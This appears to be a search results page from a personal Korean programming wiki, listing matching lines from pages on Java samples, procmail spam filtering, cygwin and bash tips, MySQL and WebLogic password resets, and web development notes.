         You can edit any page by pressing the link at the bottom of the page. Capitalized words joined together form a WikiName, which hyperlinks to another page. The highlighted title searches for all pages that link to the current page. Pages which do not yet exist are linked with a question mark (or a different rendering in bold red): just follow the link and you can add a definition. That is also the way to create a new page: add a new WikiName to an existing page, save your modification, click on your new link and create the page (more details on HelpOnPageCreation).
         You are encouraged to edit the WikiSandBox whichever way you like. Please restrain yourself from editing other pages until you feel at home with the ways a wiki works.
         This wiki is also part of the InterWiki space, which means you can easily refer to a wealth of information available through other public wiki sites.
          * FindPage: search or browse the database in various ways
         A WikiName is a word that uses capitalized words. WikiName''''''s automagically become hyperlinks to the WikiName's page. What exactly is an uppercase or lowercase letter is determined by the configuration, the default configuration works for Latin-1 (ISO-8859-1) characters. See below for how to handle Asian, Hebrew and other non-western character encodings.
  • JWSDP이용한웹서비스클라이언트작성 . . . . 7 matches
         public class TestClient
          public static void main(String[] args)
          test.ws.Webservice_Impl ws = new test.ws.Webservice_Impl();
          test.ws.TestIF test = (TestIF)ws.getTestIFPort();
          double value = test.myMethod("abc", "def");
         = 클라이언트가 필요로하는 classpath =
         $JWSDP_HOME/fastinfoset/lib/*.jar
  • JavaListSystem.properties() . . . . 7 matches
         public class z{
          public static void main(String[] args){
         user.country=KR
         user.dir=D:\DocsAndSets\admin
         user.variant=
         java.class.version=50.0
         user.home=D:\DocsAndSets\gim
         user.timezone=
         user.name=gim
         java.class.path=.
         user.language=ko
         sun.boot.class.path=C:\Program Files\Java\jre1.6.0_07\lib...
         user.country=KR
         user.dir=/home/gim
         java.class.version=48.0
         user.home=/home/gim
         user.timezone=
         user.name=gim
         java.class.path=/home/gim/SYBASE/shared/jConne...
         user.language=ko
  • Javascript Code Snippet . . . . 7 matches
         [javascript] |
         [Javascript Tips] |
         = [javascript text의 byte length 구하기] =
         = [javascript exception] =
         // convert all characters to lowercase to simplify testing
         var agt=navigator.userAgent.toLowerCase();
         // navigator.userAgent 참조
         참고 : [javascript commify]
  • ProcMail . . . . 7 matches
         procmail은 메일 처리 도구다. procmail은 메일 필터링을 도와준다. 메일을 발신자, 제목, 메시지 길이, 메시지의 주요 단어들 등에 따라 분류한다.
         [mmencode]를 이용하여 quoted-printable이나 base64등으로 encodeing된 메일을 디코딩할수 있으며 [formail]툴을 이용하여 메일헤더등의 메일형식을 바꿀 수 있다.
          * W : w 와 같으나 'Program failure'라는 메시지를 무시한다.
         = procmailrc 테스트 =
         # cat /etc/procmailrc
         LOGFILE=/var/log/procmail
         * ^Subject:.*PROC_TEST
         /var/log/procmail.spam
         --> 이렇게 하면 procmail로그는 /var/log/procmail 에 쌓이고 제목에 PROC_TEST라는 단어가 들어간 경우 /var/log/procmail.spam에 쌓이게 된다.
         ProcMailSample1 : procmailrc 파일 예제
         = my procmail history =
         [myProcmail_20060918]
         = 내 /etc/procmailrc =
         LOGFILE=/XXX/log/XXX/procmail
         # for spamassassin
         #test
         * ^Reply-To:.*(titash@freechal.com)
         /var/log/procmail/procmail.spam
          /var/log/procmail/procmail.spam
          /var/log/procmail/procmail.spam
  • ProducerConsumerPattern . . . . 7 matches
         == MyTest.java ==
         public class MyTest
          public static void main(String[] args)
         public class Producer extends Thread
         public class Consumer extends Thread
         public class MyQueue
          private int tail;
          this.tail = 0;
          + " start waiting");
          wait();
          + " start waiting");
          wait();
          buffer[tail] = data;
          tail = (tail + 1) % buffer.length;
         public class MyData
         consumer 1 start waiting
         consumer 2 start waiting
         producer 1 start waiting
         producer 1 start waiting
         producer 3 start waiting
  • ResetMysqlInitialRootPassword . . . . 7 matches
         #keywords mysql, password, root
          * you can confirm root password is empty from error log
         $ grep password /var/log/mysql/error.log
          * connect mysql as a root user and initialize
         mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password;
          * set password
         $ mysqladmin --user=root password
  • cygwin . . . . 7 matches
         = cygwin에서 사용자와 그룹 추가 adduser addgroup =
         기본적으로 adduser와 addgroup 명령이 없다.
         # 이 내용을 /etc/passwd 파일과 /etc/group 파일에 덤프를 뜬다.
         mkpasswd -l > /etc/passwd
         mkpasswd -l -u user01 >> /etc/passwd
         set completion-ignore-case on
         = [.sh 확장자 bash.exe로 연결] =
  • mon.html . . . . 7 matches
         <script src="jquery-1.8.3.min.js" type="text/javascript"></script>
         <script src="date.js" type="text/javascript"></script>
         var url = "/newscrap/search.php?keyword=&lastdate=xxxx"
          ul.append($("<li>").append($("<h1>").text("ERROR : "+textStatus)).addClass("error"));
          ul.append($("<li>").append($("<h1>").text("ERROR : "+textStatus)).addClass("error"));
          ul.append($("<li>").append($("<h1>").text("ERROR : "+textStatus)).addClass("error"));
          ul.append($("<li>").append($("<h1>").text("ERROR : "+textStatus)).addClass("error"));
  • procmail . . . . 7 matches
         procmail은 메일 처리 도구다. procmail은 메일 필터링을 도와준다. 메일을 발신자, 제목, 메시지 길이, 메시지의 주요 단어들 등에 따라 분류한다.
         [mmencode]를 이용하여 quoted-printable이나 base64등으로 encodeing된 메일을 디코딩할수 있으며 [formail]툴을 이용하여 메일헤더등의 메일형식을 바꿀 수 있다.
          * W : w 와 같으나 'Program failure'라는 메시지를 무시한다.
         = procmailrc 테스트 =
         # cat /etc/procmailrc
         LOGFILE=/var/log/procmail
         * ^Subject:.*PROC_TEST
         /var/log/procmail.spam
         --> 이렇게 하면 procmail로그는 /var/log/procmail 에 쌓이고 제목에 PROC_TEST라는 단어가 들어간 경우 /var/log/procmail.spam에 쌓이게 된다.
         ProcMailSample1 : procmailrc 파일 예제
         = my procmail history =
         [myProcmail_20060918]
         = 내 /etc/procmailrc =
         LOGFILE=/XXX/log/XXX/procmail
         # for spamassassin
         #test
         * ^Reply-To:.*(titash@freechal.com)
         /var/log/procmail/procmail.spam
          /var/log/procmail/procmail.spam
          /var/log/procmail/procmail.spam
  • wds . . . . 7 matches
         master : iptime a2004ns
         master에서는 특별히 설정을 바꾼건 없고 채널설정을 "자동" --> "특정채널" 로 고정
         slave에서는 LAN설정이 원래 master와 다른 대역이어서 그냥 손대지 않았고
         WAN연결방식을 디폴트값인 "유선"에서 "무선"으로 변경하고 그다음 검색을 통해 master를 검색해서 선택해준후
         master와 동일 채널로 맞추어주고..
         보안모드를 master와 동일하게 "Mixed WPA/WPA2 - PSK" 로 지정
         기본SSID는 master의 SSID가 기본으로 박혀져있어 수정불가
  • 개발각단계에서의UML문서 . . . . 7 matches
          * 요구사항 정의 : UseCase Diagram, UseCase 정의서
          * 업무 분석 : UseCase 분석
          - UseCase 정적 분석 : Class Diagram
          - UseCase 동적 분석 : Sequence Diagram
          정적 : Class Diagram
  • .sh확장자Bash.exe로연결 . . . . 6 matches
         [cygwin]을 이용하여 [WindowsScripts]에서 {{{*.sh}}} 확장자 파일을 bash.exe 가 실행하도록 연결하기
         assoc .sh=bashscript
         ftype bashscript=D:\programs\cygwin\bin\bash.exe -i -c 'sh "$(cygpath -u "%1")"'
         참조 : [assoc], [ftype]
  • BadContent . . . . 6 matches
         #format plain
         # from MT-Blacklist Master Copy
         # Last update: $Date: 2006/01/17 23:55:05 $
         ([\w\-_.]+\.)?(l(so|os)tr)\.[a-z]{2,} # Catchall regex for lsotr.xxx and lostr.xxx with or without a subdomain
         (blow)[\w\-_.]*job[\w\-_.]*\.[a-z]{2,} # This stops a whole slew of domain name variations relating to -- well -- you know...
         (levitra|lolita|phentermine|viagra|vig-?rx|zyban|valtex|xenical|adipex|meridia\b)[\w\-_.]*\.[a-z]{2,} # Super regexp for domains containing levitra, lolita, phentermine, viagra, vigrx, vig-rx, zyban, valtex, xenical, adipex and meridia
         (online)[\w\-_.]*casino[\w\-_.]*\.[a-z]{2,} # Catchall regexp for a hundred online casino sites
         (prozac|zoloft|xanax|valium|hydrocodone|vicodin|paxil|vioxx)[\w\-_.]*\.[a-z]{2,} # Super regexp for domains containing prozac, zoloft, xanax, valium, hydrocodone, vicodin, paxil, vioxx
         #(valtrex|zyrtec|\bhgh\b|ambien\b|flonase|allegra|didrex|renova\b|bontril|nexium)[\w\-_.]*\.[a-z]{2,} # Fourth drug super regexp
         01-melodias.com
  • Calendar . . . . 6 matches
         = java.util.Calendar Constant Field test =
         = source of com.gimslab.calendar_test.CalTest.java =
         package com.gimslab.calendar_test;
         public class CalTest {
          public static void main(String[] args) {
          new CalTest().printOut();
          for (int date = 1; date <= getLastDateOf(year, month); date++) {
          private int getLastDateOf(int year, int month) {
  • DeadLock . . . . 6 matches
         [java] [dead lock] test, [thread]
         == TestDeadLock.java ==
         public class TestDeadLock
          public static void main(String[] args)
         public class Lock
         public class ThreadA extends Thread
         public class ThreadB extends Thread
  • HelpOnProcessingInstructions . . . . 6 matches
         Processing instructions have the same semantics as in XML: they control the paths taken when processing a page. Processing instructions are lines that start with a "{{{#}}}" character followed by a keyword and optionally some arguments. Two consecutive hash marks at the start of a line are a comment that won't appear in the processed page.
          * '''plain''': normal plain text
          * {{{#!}}}''processor-name'': same as {{{#format}}} ''formatter''
          * {{{#camelcase}}}: enable WikiName syntax
          * {{{ #camelcase 0}}} or {{{#nocamelcase}}}: disable WikiName syntax
  • HttpsTest.java . . . . 6 matches
         -Djavax.net.ssl.trustStore=jssecacerts -Djavax.net.ssl.trustStorePassword=changeit
         package com.gimslab.https_test;
         public class HttpsTest {
          public static void main(String[] args) throws Exception {
          new HttpsTest().httpsGetTest2();
          private void httpsGetTest2() throws Exception {
  • JUnit관련AntTestTarget예제 . . . . 6 matches
         [JUnit] 관련 [Ant] Test Target 예제
          <target name="test" depends="compile">
          <junit printsummary="true" haltonfailure="yes">
          <classpath refid="xtest.classpath" />
          <batchtest todir="${test.dir}">
          <fileset dir="${classes.dir}">
          <include name="**/*Test*.class" />
          </batchtest>
          <junitreport todir="${test.dir}">
          <fileset dir="${test.dir}">
          <include name="TEST-**.xml" />
          <report format="frames" todir="${test.dir}/html" />
  • JWSDP . . . . 6 matches
          * Java API for XML Binding(JAXB) : java class를 xml문서로 marshaling 혹은 반대(unmarshaling) 기능 제공
          * Java API for XML-based RPC(JAX-RPC) : [RPC](Remote Procedure Call)방식의 웹서비스 시스템 및 클라이언트 개발 api, [WSDL]문서 자동 생성, Tie(클라이언트와 통신 담당) 클래스를 자동 생성, war 파일 생성 기능, 클라이언트를 쉽게 이용하도록 자동으로 Stub 만들어줌
          * JavaServer PagesTM Standard Tag Library(JSTL) : [jsp] 표준 태그
         java.util.Map구현 : HashMap, Hashtable, Properties, TreeMap
         java.util.Set 구현 : HashSet, TreeSet
         사용자 정의 class : public getter, setter 가져야함, private 생성자가 없어야 함, java.rmi.Remote를 구현해서는 안됨, 클래스의 모든 필드는 위의 타입으로 구성되야함, 필드는 final이나 transient로 선언되지 않아야 함, 필드는 private또는 protected 로 지정되어야 함
  • JavascriptTips . . . . 6 matches
         [javascript] /
         [javascript code snippet]
          * [javascript 런타임에 원격 js 호출하기]
          * [javascript에서 쿠키 조작]
          * [javascript scrollbar 조정]
          * [javascript body.scrollTop 항상 0 리턴]
  • PatternTemplate . . . . 6 matches
         '''Aliases:''' ''Aliases (or None at this time) ''
         A statement of the problem this pattern solves. The problem may be stated as a question.
         The setting for the problem. This can include a description of the target user, e.g., developer, manager, customer.
         The forces influencing the problem and solution. This can be represented as a list.
         The context of the solution. This should include the new problems that appear as a result of applying the pattern that will require new patterns for their resolution.
         Explain the rationale behind the solution. Tell stories! Share your expertise.
         '''Author(s):''' Author's name or "as told to" for pattern mining
         [mailto:author@somewhere.com Send email to author(s)]
  • Sybase . . . . 6 matches
          * [http://download.sybase.com/pub/jConnect/jConnect-6_05.zip jConnect 6.05 download (U.S. download) (EBF 13044)]
          * [http://download.sybase.com/pub/jConnect/jConnect-5_5.zip jConnect 5.5 download (U.S. download) (EBF 13045)]
         from http://www.sybase.com/
         == ASA Error -143 ==
         ASA Error -143: Column '@p13' not found
         jdbc:sybase:Tds:1.2.3.4:1234/MyDB?LITERAL_PARAMS=true
         Driver Classname =
         com.sybase.jdbc3.jdbc.SybDriver
  • WeblogicPasswordReset . . . . 6 matches
         cd <DOMAIN_DIR>/bin
         setDomainEnv.bat
         cd <DOMAIN_DIR>/security
         cd <DOMAIN_DIR>/servers/AdminServer
         cd <DOMAIN_DIR>
          * 파일 내용(<DOMAIN_DIR>/servers/AdminServer/security/boot.properties)
         username=NEW_ID
         password=NEW_PWD
  • WikiWikiWeb . . . . 6 matches
         The [wiki:Wiki:FrontPage first ever wiki site] was founded in 1994 as an automated supplement to the Wiki:PortlandPatternRepository. The site was immediately popular within the pattern community, largely due to the newness of the internet and a good slate of Wiki:InvitedAuthors. The site was, and remains, dedicated to Wiki:PeopleProjectsAndPatterns.
         Wiki:WardCunnigham created the site and the WikiWikiWeb machinery that operates it. He chose wiki-wiki as an alliterative substitute for quick and thereby avoided naming this stuff quick-web. An early page, Wiki:WikiWikiHyperCard, traces wiki ideas back to a Wiki:HyperCard stack he wrote in the late 80's.
          * [http://news.mpr.org/programs/futuretense/daily_rafiles/20011220.ram Ward Cunningham Radio Interview]
  • csv-decoding . . . . 6 matches
         public class CSVReader
          public static void main(String[] args) throws Exception {
          System.out.println("test 1 ----------------");
          System.out.println(Arrays.asList(tks1));
          System.out.println("test 2 ----------------");
          System.out.println(Arrays.asList(tks2));
          System.out.println("test 3 ----------------");
          System.out.println(Arrays.asList(tks3));
          System.out.println("test 4 ----------------");
          System.out.println(Arrays.asList(tks4));
         public class InvalidCSVFormatException extends Exception
  • docs . . . . 6 matches
         [(번역) Please stop calling databases CP or AP]
         https://issart.com/blog/can-use-cassandra-big-data-world/ | How You Can Use Cassandra in the Big Data World - Custom Web Development Blog
         https://martinfowler.com/articles/microservices.html#DesignForFailure | Microservices
         https://blogs.msdn.microsoft.com/andreasderuiter/2012/12/05/designing-an-etl-process-with-ssis-two-approaches-to-extracting-and-transforming-data/ | Designing an ETL process with SSIS: two approaches to extracting and transforming data – Andreas De Ruiter's BI blog
  • dp.cmd . . . . 6 matches
         d:\programs\cygwin\bin\find . -maxdepth 1 -name '*.xml' -newer .lastupload | xargs -I {} cp {} .tmp/
         d:\programs\cygwin\bin\find . -maxdepth 1 -name '*.properties' -newer .lastupload | xargs -I {} cp {} .tmp/
         scp .tmp/* weblogic@hiratwas:/SYSTEM/wls11g/server_restart/
         touch .lastupload
         마지막 업로드 시점(=.lastupload파일의 변경시각)이후에 변경된 파일중 *.xml과 *.properties 파일을 .tmp 디렉토리로 옮긴다.
         다음번 체크를 위해 .lastupload 파일을 touch
  • hbase . . . . 6 matches
         #keywords HBase, Cassandra
         HBase vs Cassandra
         http://bigdatanoob.blogspot.com/2012/11/hbase-vs-cassandra.html
  • javascript . . . . 6 matches
          * [javascript code snippet]
          * [javascript exception]
          * [javascript library]
          * [javascript tips]
          * [javascript 연산자]
          * [javascript 정규식]
  • myProcmail_20060918 . . . . 6 matches
         [ProcMail]
         LOGFILE=/var/log/procmail/procmail
         # for spamassassin
         #test
         * ^Reply-To:.*(titash@freechal.com)
         /var/log/procmail/procmail.spam
          /var/log/procmail/procmail.spam
         * ^From:.*hypert211s@hanmail.net
         * (8282gogo@gmail.com|my\.%6e%45t%69%41%6e\.com/%7Ejungmeod9|my.%6e%45ti%61n.com/%7Enooknook|ahjetr.servehttp.com|chg.serveftp.com|%79%61%68%6f%6f.%6d%69%73%65%63%75%72%65.%63%6f%6d|kjhkk.redirectme.net|hompyfile.%70%61%52%61%6e.com|vita.kyed.com|www.%73%4fm%41%63%54%68.com|hompyfile.%50a%52%41%4e.com|defasuhekinmadin.com|greptimeloans.com|5656fy.com|ps-power.trickip.ORG|hompyfile.%50%41ra%4e.com/MINIHOME_138595|%50r%65%73%68%4f%4d%65.net|fjiasjedfs.com|hld114.com|misdfs.111n.com|대출)
         #* ^Content-Type: *text/plain
         # | formail -I "Content-Transfer-Encoding: 8bit"
         # * ^Content-Transfer-Encoding: *base64
         # | formail -I "Content-Transfer-Ecoding: 8bit"
          | formail -I "Content-Transfer-Encoding: 8bit"
  • trash . . . . 6 matches
         #keywords bash, shell, trash
         trash_dir='/data/inetrr/.TRASH'
          target_dir=$trash_dir$target_dir
         trash_dir='/win/c/DOCUME~1/GIM/cygwin_home/.TRASH'
          target_dir=$trash_dir$target_dir
  • 객체지향에대한이해 . . . . 6 matches
          * Class : Object-Type에 대한 소프트웨어적인 구현. 객체의 기본적인 성질을 추상화 한 것. 객체를 만들어내는 틀(Template) 제공
          * Use Case Driven : The Use Case model represents the functional requirements and analysys, design, implement, test to realize the use cases
          * Architecture Centric : The Use Cases drive the architecture, and the architecture guides which use cases can be realized
  • 구글 엔지니어는 이렇게 일한다 - 타이터스 위터스 외 - 202206 . . . . 6 matches
          * 기술 강연(tech talk)과 수업(class)
         Task-based build system: Ant, Maven, Gradle, Grunt, Rake
         Task-based build system의 어두운 면
         Artifact-based build system: Blaze, Bazel, Pants, Buck
  • 동적클래스로딩 . . . . 6 matches
         classpath와 상관없이 runtime에서 필요한 클래스 로딩
         ClassLoader cl = new URLClassLoader(urls);
         Class cls = cl.loadClass("test.MyClass");
  • .bashrc와.bash_profile차이점 . . . . 5 matches
         #keywords bash, linux
         [.bashrc] : [bash]이 실행될 때마다 실행됨
         [.bash_profile] : [bash]이 login shell로 쓰일 때 실행됨
  • AliasPageNames . . . . 5 matches
         #format plain
         # $use_alias=1;
         # $aliaspage=$data_dir.'/text/AliasPageNames';
         # $use_easyalias=1;
         Cairo,cairo,카이로
  • BasicRulesOfCassandraDataModelling . . . . 5 matches
         #keywords cassandra, data modelling
         from : https://www.datastax.com/dev/blog/basic-rules-of-cassandra-data-modeling
         = Basic Goals =
  • Html5JsApi . . . . 5 matches
         [html5 basic] /
          * Finding elements by class (DOM API)
         document.getElementsByClassName(CLASS_NAME);
         === web sql database ===
         var db = window.openDatabase(DB_NAME, DB_VERSION);
         /html5_exam/test.html
         /html5_exam/test.png
         /html5_exam/test.js
         /html5_exam/test.css
          * main.js
  • JUnit3VsJUnit4 . . . . 5 matches
         TestCase를 상속받아 테스트 클래스 작성
         test로 시작하는 public method 나열
         TestCase를 상속하지 않아도됨
         @Test 어노테이션 사용
  • JavascriptLibrary . . . . 5 matches
         [javascript]
         [javascript clone function] - object copy, 개체 복사
         [Javascript convertToHtml()] - for [XSS] safe coding
         [Utf8 Encoder Decoder Javascript]
         [^http://script.aculo.us/] - about user interface
         = [숫자 3자리마다 콤마(쉼표)넣기 Javascript Regexp] =
  • KafkaCat . . . . 5 matches
         export USERNAME=user1
         export PASSWORD=pwd1
          -X security.protocol=SASL_PLAINTEXT \
          -X sasl.mechanisms=SCRAM-SHA-256 \
          -X sasl.username=$USERNAME \
          -X sasl.password=$PASSWORD \
  • NewscrapRestarter.java . . . . 5 matches
          * 예: http://x.x.x.x/newscrap/search.php?keyword=&lastdate=20130124&usedate=false&startdate=20130124
          * 오류 발생시 응답 : <?xml version="1.0" encoding="UTF-8"?>DB Error: connect failed
         public class NewscrapRestarter {
          private String BASE_URL = "http://x.x.x.x/newscrap/search.php?keyword=&lastdate=xxxxxxxx"
          public static void main(String[] args) {
          return makeURL(BASE_URL, yyyyMMdd);
          String makeURL(String baseUrl, String yyyyMMdd) {
          return baseUrl.replaceAll("xxxxxxxx", yyyyMMdd);
  • SpamAssassin . . . . 5 matches
         SpamAssassin은 아파치 소프트웨어 재단의 프로젝트입니다.
         http://spamassassin.apache.org/
         setup : http://www.stearns.org/doc/spamassassin-setup.current.html#sitewide
  • Struts_configRuntimeReload . . . . 5 matches
         public class ActionServletForDev extends ActionServlet {
         <!-- <servlet-class>org.apache.struts.action.ActionServlet</servlet-class>-->
          <servlet-class>com.gimslab.util.servlet.ActionServletForDev</servlet-class>
  • TheWinnerTakesItAll . . . . 5 matches
         I was in your arms
         But I was a fool
         Their minds as cold as ice
         The loser has to fall
         It's simple and it's plain
         Why should I complain.
         The game is on again
  • UML에대한이해 . . . . 5 matches
          * Class, Interface, Use Case, Collaboration, Component, Node
          * Association : 구조적 관계로써 Link의 집합을 나타냄
          * Constraint : UML 구성요소가 갖는 의미를 확장하여 새로운 규칙의 추가 및 기존 규칙 변경
          * Use Case Diagram : 사용자 관점에서 시스템 기능을 나타냄
          * Class Diagram : 시스템의 어휘(vocabulary)를 나타냄
          * 실행 가능한 release의 구축
  • UnixShellProgramming . . . . 5 matches
         #keywords bash-script, shell, linux, unix
         cf : [parsing parameters in bash script] [텍스트 처리 명령어], [gims_win_cmd]
         [test 명령]
         [trash] - 유닉스에서 파일을 삭제하면 휴지통(특정폴터)로 이동시키는 스크립트
         [delLastLine.sh] - 파일의 마지막 n줄을 삭제
         sh -x test.sh
         http://wiki.kldp.org/HOWTO/html/Adv-Bash-Scr-HOWTO/complexfunct.html
  • fonera . . . . 5 matches
          * Now, the Fonera is back to its default factory configuration: username/password of the Management console are admin/admin, the WPA key is the serial number (S/N: on the sticker beneath the Fonera) and the SSIDs are called 'MyPlace' and 'FON_AP'
          * Check if you can connect to 'MyPlace' wireless signal and if you can access the Management Console at http://192.168.10.1Check if everything is back to its default value, so you can see whether or not the reset has been successful.
          * If you need special configuration settings (like static IP's or PPPoE settings) please change these settings now.
          * Power off the Fonera, and plug it again to the Ethernet cable providing internet access.
          * Switch on the Fonera. As it is running with the default firmware it will download the latest firmware version as soon the internet connection is established. The update can take up to 45 minutes. No matter what, do not disconnect power cable while updating it would damage the Fonera.
         http://www.parkoz.com/zboard/view.php?id=my_tips&page=1&sn1=&divpage=3&sn=off&ss=on&sc=off&keyword=fon&select_arrange=headnum&desc=asc&no=13063
  • html5 . . . . 5 matches
         [[html5 basic]]
         [[korflag.html]] - html5 canvas 이용한 태극기 그리기 (copied to https://codepen.io/gimslab/full/zQzxBR)
         <aside>
         = Phrase =
         <canvas>
         <details>
  • iBatis . . . . 5 matches
         public ListfindUser(Stringname)
          return sqlMap.queryForList(“findUser”,name);
         <statement id="findUser" parameterClass="string" resultClass="user">
          SELECT * FROM USERWHERE name = #name#
          <dataSourcetype="SIMPLE">
          </DataSource>
          <sqlMapresource=“com/disc/dao/sql/user.xml"/>
  • jcifs . . . . 5 matches
         import jcifs.smb.NtlmPasswordAuthentication;
         public class JCIFS_Test {
          public static void main(String[] args) throws Exception {
          NtlmPasswordAuthentication auth = new NtlmPasswordAuthentication(
  • json . . . . 5 matches
         JSON (JavaScript Object Notation) is a lightweight data-interchange format. It is easy for humans to read and write. It is easy for machines to parse and generate. It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999. JSON is a text format that is completely language independent but uses conventions that are familiar to programmers of the C-family of languages, including C, C++, C#, Java, JavaScript, Perl, Python, and many others. These properties make JSON an ideal data-interchange language.
         javascript에서 기본적으로 인식되고 java나 basic, c, python 등 [http://www.json.org/json-ko.html 다양한 언어]에서 지원 라이브러리가 존재한다.
  • picasa . . . . 5 matches
         gim@xps13:~/bin$ cat picasa
         ~/.wine/drive_c/Program\ Files/Google/Picasa3/Picasa3.exe
         mkdir -p ~/tostore/picasa-db-backup-${dt}/
         cp -R '/home/gim/.wine/drive_c/users/gim/Local Settings/Application Data/Google/' ~/tostore/picasa-db-backup-${dt}/
  • reading . . . . 5 matches
          * AI 시대 본느으이 미래 - 202101
          * Mastering Jboss Drools 6 for Developers - Mauricio Salatino, Esteban Aliverti, Mariano Nicolas De Maio - 2017
          * Elasticsearch in Action - 라두 게오르게, 매튜 리 힌만, 로이 루소(이재익, 최중연) - 2017
         last modified 2023-12-09 10:06:34
  • 보안툴 . . . . 5 matches
         [Shadow Security Scanner] (network vulnerability assessment scanner) has earned the name of the fastest - and best performing - security scanner in its market sector, outperforming many famous brands. Shadow Security Scanner has been developed to provide a secure, prompt and reliable detection of a vast range of security system holes.
  • 1일차-SqlTuning교육 . . . . 4 matches
         RBO : Rule based Optimizer
         CBO : Cost Based Optimizer
          sqlplus system/test123@abc
         SQL> create user 본인이름
          identified by test123;
         SQL> conn 본인이름/test123@abc
         SQL> show user
          as select * from scott.emp;
          as select * from scott.dept;
         SQL> explain plan for
  • Amaya . . . . 4 matches
         Amaya is a Web client that acts both as a browser and as an authoring tool. It has been designed by W3C and INRIA with the primary purpose of demonstrating new Web technologies and helping users to generate valid Web pages.With Amaya, you can manipulate rich Web pages containing forms, tables, and the most advanced features from XHTML. You can create and edit complex mathematical expressions within Web pages. You can style your documents using Cascading Style Sheets (CSS).
  • AwkSed실무예제1 . . . . 4 matches
         lastUpdated(Tue Aug 01 23:57:53 KST 2006)
         lastUpdated(Wed Aug 02 23:56:27 KST 2006)
         /' -e '/^lastUpdated/s/$/|/' | awk -v FS="\n" -v RS="|" '{if(NF==14){print $14,$2}}' | awk -F" " -vOFS="\t" '{print $3,$7}'
         먼저 sed를 이용하여 원본파일의 첫줄에 빈줄을 하나 넣어준다. 그리고 lastUpdated라고 시작하는 줄의 끝에 파이프문자(|)를 넣어준다. (레코드 구분자로 쓰기 위해....)
  • JSLibrary . . . . 4 matches
         JavascriptMVC
         === History 관리, Hash 관리 ===
         Lawnchair - http://brian.io/lawnchair/
         has.js
         === Unit Testing ===
  • Javascript런타임에원격Js호출하기 . . . . 4 matches
         JavascriptTips /
         {{{http://gimslab.com/test.js}}} 를 자바스크립트 실행중에 호출하기
         function callRemoteJavascriptOnRuntime(){
          jScript.language = 'javascript';
          jScript.src = 'http://gimslab.com/test.js';
          jScript.type = 'text/javascript';
  • Jquery쓸만한함수들 . . . . 4 matches
          * data (Object): (optional) Additional data passed to the event handler as event.data
          function(){$(this).addClass("selected");}
          ,function(){$(this).removeClass("selected");}
          * fn (Function): The function to process each item against.
  • Keychron K9 Pro . . . . 4 matches
          * fn + S/X: increase/decrease brightness
          * hold reset key first, then switch to cable mode and release reset key
          6. flash firmware with QMK
          7. fn1 + J + Z (for 4 seconds again)
  • Moniwiki Installation . . . . 4 matches
         [["MoniWiki On Raspberry Pi"]]
         2018/07/28 17:03:06 [error] 8364#8364: *137 FastCGI sent in stderr: "PHP message: PHP Fatal error: Uncaught Error: Call to a member function fetch() on null in /home/xxx/xxx/x.xxxxxxx.com/html/moniwiki/plugin/security/acl.php:438
         ~/www/test.com/html/moniwiki/config $ cat acl.default.php
         * @User allow *
         UserPreferences Anonymous allow *
  • PMD . . . . 4 matches
          * Suboptimal code - wasteful String/StringBuffer usage
          * Duplicate code - copied/pasted code means copied/pasted bugs
         CPD(Copy/Paste Detector)
  • ParsingParametersInBashScript . . . . 4 matches
         #keywords bash-script, parameters, getopts
          case ${opts} in
          case ${opts} in
          case "${OPTARG}" in
  • Raspberry Pi . . . . 4 matches
         [["Raspberry Pi 5 구매 - 20240331"]]
         [["Raspberry Troubleshooting"]]
         [[Raspberry Pi 활용기]]
         [[Korean in Raspbian]]
  • Reactor Parallel and groupBy . . . . 4 matches
         Map<String, Integer> map = Maps.newHashMap();
          .runOn(Schedulers.boundedElastic())
         Map<String, Integer> map = Maps.newHashMap();
          .runOn(Schedulers.boundedElastic())
  • SCM . . . . 4 matches
         Revision control, also known as version control, source control or (source) code management (SCM), is the management of changes to documents, programs, and other information stored as computer files.
         SCM is commonly known as version control, and is achieved using tools such as [CVS]. SCM is key to any software development project that wants to actually ship and support a project.
  • Ssh-add.exeOnCygwin에서Ssh-agent연결불가 . . . . 4 matches
          5788 1 5788 5788 con 1003 09:25:52 /usr/bin/bash
          4324 1 4324 4324 con 1003 10:56:18 /usr/bin/bash
         Enter passphrase for /win/c/DOCUME~1/user/cygwin_home//.ssh/id_rsa:********
         Identity added: /win/c/DOCUME~1/user/cygwin_home//.ssh/id_rsa (/win/c/DOCUME~1/user/cygwin_home//.ssh/id_rsa)
  • String empty vs blank . . . . 4 matches
         test("string blank and empty"){
          assert( StringUtils.isBlank("") )
          assert( StringUtils.isEmpty("") )
          assert( StringUtils.isBlank(" ") )
          assert( StringUtils.isNotEmpty(" ") )
  • ThreadJoin()Test . . . . 4 matches
         package test01;
         public class ThreadTest
          public static void main(String[] args) throws Exception
          Mythread th = new ThreadTest().new Mythread();
          class Mythread extends Thread
  • Web2.0이란 . . . . 4 matches
         집단지성을 활용하는 웹2.0의 특징을 얘기할때면 폭소노미(Folksonomy)라는 말이 나온다. 사람들에 의한 분류법이라고 간단히 말할 수 있는 이 개념의 대표적인 예가 바로 태깅이라고 할 수 있다. 앞에서 말한 del.icio.us 도 물론 이러한 기능이 있으며 사진공유 사이트로 유명한 플릭커(Flickr)도 바로 이 태깅을 지원한다. 기존의 일반적인 자료 분류방법(taxonomy)이 디렉토리라면 웹2.0은 태그를 사용한다. 물론 사용자의 참여가 필요하고 그들의 집단 지성이 필요하다. 디렉토리를 이용한 분류방법은 컨텐츠 관리자가 디렉토리를 정의하고 사용자들이 그 구조에 맞게 컨텐츠를 추가하는 형식인다. 하지만 태그를 이용하는 방식은 좀 다르다. 일단 컨텐츠가 작성되고 그 컨텐츠에 관심이 있는 사용자들이 그 컨텐츠에 태그를 붙인다. 물론 붙이는 사람들의 성향에 따라 다른 태그가 붙을 수 있다. 이러한 방법으로 많은 사용자들에 의해 완만하게 데이터를 분류해나가는 방법이다. 기존의 일반적인 웹메일에서 폴더 방식의 메일 저장구조를 가지는 반면 웹2.0의 대표 서비스인 gmail은 바로 이 태그기능(라벨)을 이용하여 메일을 분류할 수 있는 기능을 제공한다.
         3.플랫폼으로서의 웹 : open api, mash up
         4.풍부한 사용자 경험 : RIA(Rich Internet Applicaion), Ajax(GoogleMap, Writely)
